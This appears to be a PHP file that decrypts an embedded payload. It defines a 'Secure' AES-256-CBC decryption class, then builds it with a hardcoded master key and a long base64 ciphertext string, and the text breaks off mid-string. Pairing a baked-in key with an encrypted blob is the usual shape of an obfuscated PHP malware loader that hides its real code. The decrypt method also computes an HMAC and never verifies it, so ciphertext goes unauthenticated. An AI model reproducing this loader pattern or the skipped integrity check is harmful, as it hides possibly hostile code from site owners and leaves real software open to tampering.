<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('fnTdgVWiEPY2HQoSfEENK6NArKlIsfJQ');
$str = 'w7Adj0xQwaEDG3d8akbycDwb81hdZ4KgO9Kf2w+tnjL3iw1A1KSmCgHEWs0zhKl7AUoKVlvXvnE5z8KODeisO575cDd4t2TGn1TynE34CiPpXlE2G8x3N2UwJ+cSUaP+XbJ7xGEr0HVUeRmaRwSwxiUv/ej+cuROyLh3euOhIN1lU3tuCCa6a1jvjL8oclVa3YN1omDU6rdAEw9pXUt+fc+HPK9D878rgbBFQ0jhpelNv03U/ZrWdk8XZiJwcG4D/IsEKu3JPF8KZLL6grE4M4k91DZfEEw4ksKBEdXIx3Y9NWbJl+1ch/zFpNzhZFHOdY4nHXZXOy25fJlaDbX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